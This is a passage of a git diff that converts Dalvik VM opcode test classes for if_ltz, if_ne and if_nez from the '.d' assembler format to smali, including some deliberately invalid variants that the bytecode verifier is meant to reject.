+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-ltz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.d
deleted file mode 100644
index 804ef88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_4.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-ltz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali
new file mode 100644
index 0000000..489c738
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_4.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-ltz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.d
deleted file mode 100644
index af8e741..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_5.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-ltz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali
new file mode 100644
index 0000000..7b95a75
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_5.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-ltz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.d
deleted file mode 100644
index c56730f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_6.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-ltz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali
new file mode 100644
index 0000000..14e2982
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_6.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.d
deleted file mode 100644
index f14a551..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_7.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-ltz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali
new file mode 100644
index 0000000..a847273
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_7.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.d
deleted file mode 100644
index 650e299..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_8.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-ltz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali
new file mode 100644
index 0000000..7fef8b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_8.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.d
deleted file mode 100644
index 3b4a3dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_ltz_9.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-ltz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali
new file mode 100644
index 0000000..24a57cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_ltz_9.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.d
deleted file mode 100644
index cb84784..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_1.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ne v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali
new file mode 100644
index 0000000..37f1c8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_1.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.d
deleted file mode 100644
index f42d830..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_10.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ne v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali
new file mode 100644
index 0000000..12faad4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_10.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.d
deleted file mode 100644
index 65bb0d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_ne_11.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ne v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali
new file mode 100644
index 0000000..1b76d5b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali
@@ -0,0 +1,24 @@
+.source "T_if_ne_11.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.d
deleted file mode 100644
index 0893fa4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_12.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ne v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali
new file mode 100644
index 0000000..16f28c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_12.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.d
deleted file mode 100644
index 039f954..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_2.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)I
-.limit regs 8
-
-       if-ne v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali
new file mode 100644
index 0000000..89bf9fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_2.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.d
deleted file mode 100644
index aaa66e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_4.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-ne v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali
new file mode 100644
index 0000000..c81a1a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_4.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.d
deleted file mode 100644
index 4bfefaa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_5.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ne v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali
new file mode 100644
index 0000000..5ee4463
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_5.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.d
deleted file mode 100644
index 5e57f66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_7.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-ne v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali
new file mode 100644
index 0000000..869dc5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_7.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-ne v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.d
deleted file mode 100644
index 0001b04..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_8.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-ne v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali
new file mode 100644
index 0000000..afecd19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_8.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-ne v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.d
deleted file mode 100644
index 4f3f107..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_9.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ne v6, v5, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali
new file mode 100644
index 0000000..a6ff1e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_9.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v5, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.d
deleted file mode 100644
index da15ff2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_1.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali
new file mode 100644
index 0000000..806e390
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_1.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.d
deleted file mode 100644
index 4a5a9a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_nez_10.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-nez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali
new file mode 100644
index 0000000..256450a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_nez_10.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.d
deleted file mode 100644
index 81ef2ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_nez_11.java
